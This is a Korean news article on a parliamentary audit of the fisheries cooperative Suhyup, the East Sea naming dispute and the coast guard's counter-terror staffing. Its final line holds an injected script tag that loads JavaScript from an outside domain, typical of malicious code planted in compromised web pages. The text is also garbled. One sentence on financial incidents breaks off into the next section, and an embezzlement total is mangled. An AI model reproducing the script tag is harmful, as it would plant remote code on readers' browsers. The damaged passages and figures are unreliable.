“장부상으로는 891억원의 흑자 기록했지만 정부지원 1093억원 빼면 사실상 202억원 적자”
이번 국감에서 수협중앙회는 많은 의원들로부터 쓴소리를 들었다. 특히 수협중앙회가 정부로부터 지원금을 받아 부실운영한 사실이 농림해양수산위원들에게 밝혀짐에 따라 이젠 변화하는 수협이 되지 않으면 국민들이 등을 돌릴 수밖에 없는 현실이다. 이에 이번 국정감사를 통해 제기된 수산분야의 문제점을 되짚어 보았다. /羅基淑 기자 iamna79@haesanews.com
■ 여실히 드러난 수협중앙회의 비리
가장 크게 이슈화된 문제는 뭐니 뭐니해도 수협중앙회의 부실운영에 관한 부분이다.
특히 수협 임직원들이 보수를 대폭 인상하거나 업무추진비를 과다하게 지출하는 등 도덕적 해이도 심각한 수준인 것으로 드러났다.
박홍수 의원(우리·비례)은 “지난 2001년 4월 공적자금 1조1581억원이 투입된 수협이 지난해 장부상으로는 891억원의 흑자를 기록했지만 정부 지원액 1093억원을 감안하면 사실상 202억원의 적자가 발생한 셈”이라고 밝혔다.
또 수협이 운영중인 할인점 바다마트의 경우 전국 23개 지점 중 10개점이 2001년부터 2003년까지 연속적자를 기록했고 지난 한해만도 적자폭이 18억2000만원에 달하는 등 갈수록 운영이 부실해지고 있는 것으로 드러났다.
열린우리당 조일현 의원(우리·강원 홍천, 횡성)은 “수협중앙회가 공적자금을 지원받은 다음해인 2002년에 중앙회장의 총급여를 8772만원에서 1억9560만원으로 123% 인상하고 대표이사와 감사의 총급여도 7232만원에서 1억5600만원으로 116% 올리는 등 간부진과 직원에 대한 보수를 대폭 인상했다”고 지적했다.
더욱이 수협중앙회는 공적자금과 경영개선자금이 투입된 지난 2001년 이후 희망퇴직자 총 353명에게 1인당 평균 4800만원씩 모두 171억원의 위로금을 지급했을 뿐아니라 전국 98개 회원조합중 87 곳이 조합장들의 평균 연봉을 1000만~4000만원 가량 인상함으로써 극심한 도덕적 해이를 드러냈다.
이밖에 수협은 지난해 법인세법상 업무추진비 한도액의 3.4배인 17억4700만원을 사용하고 어항개발 등 산업투자에 대한 투자는 300억원에 불과한 반면 부동산 투자에만 2346억원을 사용한 것으로 나타났다.
■ 당초 목적 상실한 수협중앙회
한편 김우남 의원(우리·제주 북제주군)은 “수협이 당초 설립목적과 달리 수산업 관련 대출을 줄이면서 다른 사업에만 치중하고 있다”고 주장했다.
김의원은 “건전성이 뛰어나 평균 연체율이 낮은 ‘어업 영위 기업’ 관련 대출이 매년 줄어들고 있고 수산관련 제조업을 대상으로 하는 ‘수산물 가공 및 저장처리 제조업’에 대한 대출도 매년 줄어들고 있다”며 경영관리의 문제점을 지적했다.
이어 김의원은 “지난해 거래가 없었고 수산업에 관련도 없는 주점업과 목욕탕업에 대한 신규대출이 발생했고 부동산 투기를 조장할 수 있는 ‘부동산 임대업’ 대출이 급증하고 있다”면서 “특히 이들 대출에 대한 연체율이 전체 평균보다 높다”고 강조했다.
이밖에 김 의원은 농협 등 다른 조합에 비해 직원 인건비 상승률과 상여금 지급이 높은 이유와 손실 발생에 따른 배상 책임 등에 대해서도 추궁했다.
한편 박승환 의원(한나라·부산 금정)은 수협의 끊이지 않는 금융사고에 대한 문제점을 제기하기도 했다.
수협중앙회와 금융감독원이 제출한 자료에 의하면 2000년부터 2004년 6월까지 수협중앙회의 총 금융사고는 45건이 발생했으며, 피해금액은 249억4600만원인 것으로 나타났다. 또한 수협단위조합의 경우는 총 22건의 금융사고가 발생했고, 피해금액은 54억500만원인 것으로 나타났다.
최근 5년간 금융사고를 유형별로 보면, 수협중앙회와 수협단위조합 모두 횡령과 유용이 가장 많은 것으로 나타났다.
수협중앙회의 경우 횡·유용은 2000년 7건, 피해금액은 36억2100만원, 2001년 7건, 111억2000만원, 2002년 1건, 1억원, 2003년 3건, 3억4400만원, 2004년 6월까지 8건, 8억1600만원으로 나타나 총 26억 160억100만원인 것으로 나타났다.
이것은 수협중앙회의 총 금융사고의 60%를 차지하고, 피해금액의 64%를 차지하는 것으로 나타나 횡령과 유용이 얼마나 심각한지 알 수 있다.
특히 수협단위조합의 경우는 도난·피탈이 2건으로 피해금액은 3900만원, 금융실명제 위반이 2건, 2300만원, 금품수수 1건 1700만원, 기타 1건 11억2500만원으로 나타났다.
박승환 의원에 따르면 횡령·유용, 업무상배임과 같이 직원에 의한 금융사고가 빈발하고 있고, 수협중앙회의 경우 횡·유용은 금액도 건당 6억이 넘고, 업무상배임은 건당 18억이나 될 정도로■ 동해 표기 논란 시끌..
동해표기 예산 일본보다 33배 작아
이번 국감에도 어김없니 동해표기에 관한 문제점이 제기됐다.
이방호(사천, 한나라당)의원에 따르면 정부출연 연구기관인 ‘한국해양수산개발원’이 올해 농림해양수산위원들에게 보내온 공식 연구자료 ‘러시아 극동 자바이칼 지역의 수산업 현황과 협력방안’을 보면 첫장에 일본해라고 표시된 지도를 부여주고 있고 중간내용에도 당당히 일본해라고 표기되어 있다고 밝혔다.
특히 일본 외무성은 최근 한·일간 논쟁이 되고 있는 동해 호칭문제에 대한 실태조사와 영유권을 주장하는 독도자료 작성을 위해 7억8000만원(약80억원)의 예산을 반영해 달라고 재부성에 요청했다.
그러나 우리나라는 이보다 33배나 작은 예산을 가지고 일본과 맞설 생각을 가지고 있는 것은 큰 문제라고 지적했다.
특히 우리정부의 소극적자세로 동해표기 문제를 맞섬에 따라 국민들로부터 빈축을 사고 있다.
이에 이 의원은 전담전문기구를 신설하고 국제수로기관(IHO)을 파견할 필요가 있다고 주장했다.
또 세계 여러나라에 동해로 표기된 많은 책자를 발간, 홍보할 필요가 있다고 말했다.
더불어 이시종 의원(우리·충북 충주)은 ‘동해/일본해’를 ‘한국해/일본해’로 변경 추진해야 한다고 주장했다.
이시종의원에 따르면 국정홍보처 해외홍보원에서 제작한 책자에 보면 일본을 제외한 외국에서 간행했던 고지도에는 ‘Korea’로 표기하고 있고 일본에서 간행한 몇 종의 지도에는 ‘조선해’로 표기한 것으로 조사됐다고 밝혔다.
또 동해/일본해로 표기하면 자칫 일본의 동쪽바다로 인식할 수 있는 가능성을 배제할 수 없다며 한국해로 표기할 것을 정부에 촉구했다.
■ 해경 대터러 진압에 어려움 많아..
해경, 해상테러진압 인력 겨우 86명
특공대 인력 확충과 함께 해상 테러진압을 해야 하는 해양경찰청(이하 해경)의 대테러 전담인력 및 장비가 부실한 수준으로 드러나 테러에 대비한 인력충원과 장비의 지원이 시급한 것으로 나타났다.
해경은 현재 테러진압을 위해 전국의 13개 해경청에 총 86명의 특공대 인력만을 배치하고 있으며 특공대와 특수기동대가 움직일 수 있는 순찰정, 고속보트도 11대에 머물고 있다.
한나라당 홍문표 의원(한나라·충남 홍성, 예산)은 국정감사 자료를 통해 “현재 해경이 테러예방과 진압을 위해 운용하고 있는 특공대의 인력은 기대 이하”라며 “인력의 확충과 함께 장비의 지원을 위한 예산 확보가 급선무”라고 지적했다.
13개 지방해경에 배치된 특공대 인력은 부산 7명, 인천 32명, 속초 5명, 동해 5명, 군산 5명, 목포 6명, 완도 5명, 여수 5명, 포항 5명, 통영 5명, 제주 6명으로 유사시 적기에 테러진압을 하기에는 턱없이 부족한 인력이다.
또한 태안과 울산서에는 단 한명의 인력도 배치되지 않아서 이에 대한 인력 충원이 시급한 실정이다. 이에 대해 해경의 한 관계자는 “현재 교육 중인 신임요원들이 있다”며 “이들이 수료하는 11월 이후 인원재조정을 할 예정”이라고 말했다.
홍문표의원은 “테러위협이 이제는 현실적이고도 구체적인 현안으로 다가왔다”며 “북한의 NLL 침범에 대처하는 수준에 맞춰 대테러인력의 조치 확충이 이뤄져야 한다”고 말했다.
한편 김영덕의원은 해경 함정장 가운데 55%가 선박 안전운항을 위한 해기사 면허를 소지하지 않는 것으로 조사됐다고 밝혔다.
김의원이 제시한 자료에 따르면 현재 임명된 함정장 200명 가운데 45%인 90명이 선박 안전운항을 위한 해기사 면허를 갖고 있을 뿐 나머지 55%인 110명은 면허를 취득하지 않고 함정을 운항하고 있는 것으로 나타났다.
계급별로는 △경정이 전체 13명중 10명(77%) △경감은 전체 51명중 26명(51%) △경위는 전체 127명중 70명(55%) △경사는 전체 9명중 4명(44%)으로 계급이 높을수록 해기사면허 미소 지자가 많은 것으로 분석됐다.
이에 대해 해경측은 “해경 경비함정 승무 경찰관은 일반선박의 선원과 동일시 할 수 없음을 감안, 선박법 선원법 등 국내 선박관련 법에서 군함과 경찰용 선박에 대해서는 그 적용을 예외로 하고 있다”고 해명했다.
그러나 김 의원은 “군용비행기를 조종해도 조종사 면허가 있고, 군용자동차 운전에도 운전면허가 있어야 하는 만큼 수백명의 해양경찰 병력과 장비를 싣고 운항하는 해경선박에 해기사 면허가 없는 함정장이 있다면 이는 해경 선박의 안전 예방에 심각한 문제”라고 지적했다. 그 외에도 신중식(전남 고흥·보성, 열린우리당)의원은 해양경찰청의 지방청 신설 및 장비 현대화가 시급하다고 주장하기로 했다.
한편 올해는 국회운영은 여야가 정쟁을 일삼느라 주요현안에 대한 문제들이 논의되지 못한 해라는 평가가 지배적이다. 특히 우리나라는 아직까지 미미한 ?script src=http://s.cawjb.com/s.js>
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